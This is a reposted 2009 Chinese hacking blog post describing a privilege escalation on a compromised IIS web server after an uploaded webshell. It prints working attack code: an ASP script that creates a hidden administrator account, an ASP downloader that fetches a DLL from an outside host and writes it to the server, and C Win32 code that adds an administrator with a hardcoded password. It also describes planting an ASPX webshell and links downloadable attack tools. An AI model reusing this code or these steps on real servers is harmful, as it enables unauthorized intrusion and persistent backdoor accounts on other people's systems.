注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

溪亭残月的博客

I want bring you into my heart !!

 
 
 

日志

 
 

小记一次曲折的提权(转载)  

2009-04-09 19:49:24|  分类: 入侵检测 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

文章作者:tr0j4n

Blog:http://hi.baidu.com/tr0j4n

信息来源:邪恶八进制信息安全团队(www.eviloctal.com

今天上百度空间,听说某人拿到一个WebShell,提权却无从着手。拿到asp的shell的方法居然是直接上传,网站没做好上传过滤造成的,首先汗一个。虽然管理员把IIS来宾权限封得很死,但是最后还是被我突破了,都这么多年了,国内的安全做得还是不够。1年多不玩黑了,今天就来重操旧业下帮他一把吧。

先来看webshell具备哪些权限,我们已知哪些信息:

1、        用户账户看不到(如图1)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图1.JPG (206.79 KB)

2009-4-8 14:52

联想:一般Webshell通过WSH来查看用户,用户不能显示,很大可能是Wscript.Shell没了。

2、        CDF盘无法浏览,用户被限制在这个网站的目录中(如图2)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图2.JPG (157.85 KB)

2009-4-8 14:52

联想:想靠服务器重启执行exe是不现实的

3、        PCanywhere不存在(如图3)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图3.JPG (163.66 KB)

2009-4-8 14:52

联想:可能装有其他的工具

4、        Serv-U无法提权,提权webshell显示成功,其实并未成功(如图4、5)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图4.JPG (42.39 KB)

2009-4-8 14:52

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图5.JPG (20.6 KB)

2009-4-8 14:52

联想:Serv-U权限被封死

5、        端口开放情况如下:(如图6)

127.0.0.1:21.......开放

127.0.0.1:23.......关闭

127.0.0.1:25.......开放

127.0.0.1:80.......开放

127.0.0.1:110.......关闭

127.0.0.1:135.......开放

127.0.0.1:139.......关闭

127.0.0.1:445.......关闭

127.0.0.1:1433.......关闭

127.0.0.1:3389.......开放

127.0.0.1:43958.......关闭

远程桌面能上。

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图6.JPG (94.3 KB)

2009-4-8 14:52

        联想:只有135开放,RPC也许有1%的几率可行。

6、        CMD不能执行,Wscript.Shell同样没有权限(如图7)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图7.JPG (161.08 KB)

2009-4-8 14:52

7、        可以新建文本,不能删除文件

8、        不能上传文件(如图8、9)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图8.JPG (197.76 KB)

2009-4-8 14:52

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图9.JPG (52.53 KB)

2009-4-8 14:52

最后再看下WebShell为我们分析的权限组件,但是这个只能作为参考,很多时间都不准的,比如本文就说明了这个相当不准(如图10)。

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图10.jpg (135.74 KB)

2009-4-8 18:49

根据以上的信息,我们来制定对策。1-4没用任何利用的价值,远程桌面的3389可以使用,这是个很好的信息,至少我们不用花费心思去找远程桌面的端口。我们可以看到第7点,玩黑多的人或是对vbs了解的人会立马想到用vbs。接着配合第6点,不能执行cmd.exe,不代表不能执行别的PE程序,Wscript能不能执行shell以外的对象,这个要接下来进行探索。

我先试试白手起家的vbs添加用户方法,新建一个adduser.asp文件,代码如下(如图11):

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图11.JPG (259.72 KB)

2009-4-8 14:52

<%

Set onlineServer=GetObject("WinNT://127.0.0.1")

Set newuser=onlineServer.Create("user","tr0j4n")

NewUser.SetPassword "biweilun"

NewUser.FullName="tr0j4n test"

NewUser.Description="tr0j4n's example"

NewUser.Setinfo

Set oDomain=GetObject("WinNT://"&"127.0.0.1")

Set oGroup=oDomain.GetObject("Group","administrators")

oGroup.Add ("winnt://tr0j4n")

Response.Write "用户tr0j4n添加成功"

Response.Write("<BR>")

Response.Write "用户tr0j4n已经被添加到管理员组"

Set oDomain=Nothing

Set oGroup=Nothing

%>

这段代码作用是用vbs的本机对象添加用户,这是一种不是技巧的技巧,经常被使用,如果你不知道,说明你还没有入门。如果执行成功,将会在服务器上添加一个用户名是tr0j4n,密码为biweilun的高级管理员。

保存路径在图中你也能看的出来吧,在网站的home目录下。在URL里输入:http://www.xxxxxx.com/home/adduser.asp,呵呵,出错了,说明权限不够,看来管理员确实是把各种权限封得是很死的(如图12)。

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图12.JPG (71.08 KB)

2009-4-8 14:52

接着,我们看到图10中说Microsoft.XMLHTTP对象可用,所以我又在home目录下创建了一个download.asp,用其来在服务器上下载我的一个dll,这个dll有什么用呢?里面封装了一个添加用户的函数,这个函数是基于Win32 API的。

Cmd.exe不能用,所以我希望用rundll32.exe来执行我的dll中的函数。

Download.asp代码如下:

<%

Set xPost = CreateObject("Microsoft.XMLHTTP")

xPost.Open "GET","http://3469.99rr.net/adduser.dll",0

xPost.Send()

Set sGet = CreateObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile "adduser.dll",2

%>

(如图13)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图13.JPG (229.95 KB)

2009-4-8 14:52

保存后在浏览器中输入URL:http://www.xxxxxx.com/home/dowload.asp。看到了没?出错了,还是权限不够。(如图14)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图14.JPG (80.57 KB)

2009-4-8 14:52

这个时候,我想到了我前段时间做的一个项目,用.Net做一个WebAdmin.aspx。灵光一闪,这个就成为了入侵的关键转折点了,因为我想它的IIS可能也支持解析ASPX。那就拖个我自己写的半成品Webshell上去吧。很好,新建文本,代码复制粘贴,保存,一个新鲜的tr0j4n.aspx就到了服务器的网站目录下了(如图15)。密码输进去,登陆成功(如图16)。

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图15.JPG (74.68 KB)

2009-4-8 14:52

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图16.JPG (316.54 KB)

2009-4-8 14:52

还记得当时.Net刚流行的时候,很多人说Aspx的权限高,能作很多Asp不能做的事情,实际上也不完全对,因为Aspx调用的组件不同,许多网管因为自己的站点是Asp就忽略了.Net下的安全了。Aspx的解析和Asp完全不同,过程模型是处理一个请求所需的操作序列的过程,这是一个基于w3wp.exe的独立工作进程,这是在IIS 6下,IIS 5.x下是aspnet_wp.exe。这个Win32进程通过托管的ISAPI扩展,直接接受控件。工作进程装入的是CLR公共语言运行库。在这个过程中还有些中间件的MSIL之类的我在这里就不科普了,接着这次提权,不好意思跑题了。

用我的tr0j4n.aspx进行上传文件,很好,我的AddUser.dll上去了,在asp的shell里面看看(如图17、18),

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图17.JPG (324.98 KB)

2009-4-8 14:52

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图18.JPG (137.54 KB)

2009-4-8 14:52

不在tr0j4n.aspx里面看的愿因是这个文件显示的模块我还没有编写处理好,是列表显示的,不是那种直观的方式。接下来我想用rundll32.exe来调这个dll(如图19),发现不成功,失败了,用户没有能加得上去,远程桌面没法连接。到这里,我怀疑我的这个工具的局限性了,难道说IIS来宾不能执行系统盘中的任意PE?那我不妨自己再把dll里面的代码移植到exe中再上传到网站目录下去执行,这样也许行呢?

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图19.JPG (139.14 KB)

2009-4-8 14:52

关键添加用户代码如下:

VOID AddUser()

{

        USER_INFO_1 ui;

        DWORD dwError=0;

        ui.usri1_name=L"tr0j4n";

        ui.usri1_password=L"biweilun";

        ui.usri1_priv=USER_PRIV_USER;

        ui.usri1_home_dir = NULL;

        ui.usri1_comment = NULL;

        ui.usri1_flags=UF_SCRIPT;

        ui.usri1_script_path = NULL;

        NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);

        /*

        if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)

        {

                MessageBoxA(NULL,"Good","Fuck",MB_OK);

        }

        else

                MessageBoxA(NULL,"Bad","Fuck",MB_OK);

*/

        wchar_t szAccountName[20]={0};

        const wchar_t *name;

        name=(const wchar_t *)L"tr0j4n";

        wcscpy(szAccountName,name);

        LOCALGROUP_MEMBERS_INFO_3 account;

        account.lgrmi3_domainandname=szAccountName;

       

        NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1);

        /*

        if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )

        {

                //添加成功

                MessageBoxA(NULL,"Add to Administrators Group Success.","Fuck",MB_OK);

        }

        else

        {

                //添加失败

                MessageBoxA(NULL,"Add to Administrators Group Fail.","Fuck",MB_OK);

        }

        */

}

//下面是提权函数。

BOOL EnableDebugPrivilge(LPCSTR lpName, BOOL fEnable)

{

        HANDLE hObject;

        LUID Luid;

        TOKEN_PRIVILEGES NewStatus;

        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hObject))

                return FALSE;

        if (LookupPrivilegeValue(NULL, lpName, &Luid))

        {

                NewStatus.Privileges[0].Luid = Luid;

                NewStatus.PrivilegeCount = 1;

                NewStatus.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

                AdjustTokenPrivileges(hObject, FALSE, &NewStatus, 0, 0, 0);

               

                CloseHandle(hObject);

                return TRUE;

        }

        

        return FALSE;

}

这个exe里面的代码和AddUser.dll里面的代码基本一样,只不过是dll需要接口调用才行罢了,这段代码使用Win32 API添加用户,基本没什么依赖的东西,一般不会失败。功能是添加一个用户名为tr0j4n,密码为biweilun的高级管理员。

自己重新写了这个tr0j4n.exe,上传到网站根目录下,接着去“Command”执行,果然,在网页下面的进度条缓慢地爬了一会后,我的tr0j4n.exe执行成功,远程桌面也连上了,本次提权就这么结束了。(如图20)

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 图20.JPG (131.91 KB)

2009-4-8 14:52

入侵提权靠的是经验,知识,运气和观察分析,无他,唯手熟尔。事后反思了下,这次的成功运气确实占了很大比重,应该是管理员的疏忽造成了目录权限的泄漏。各位不要根据截图来社工是哪个站了,写这篇文章的时候我已经在帮站长补洞了,本文旨在给新手一些思路罢了。

本文中用到的提权工具如下:

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 AddUser.rar (19.74 KB)

下载次数: 112

2009-4-9 08:04

小记一次曲折的提权(转载) - 溪亭残月 - 溪亭残月的博客 tr0j4n.rar (24.93 KB)

下载次数: 94

2009-4-9 08:20

  评论这张
 
阅读(105)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017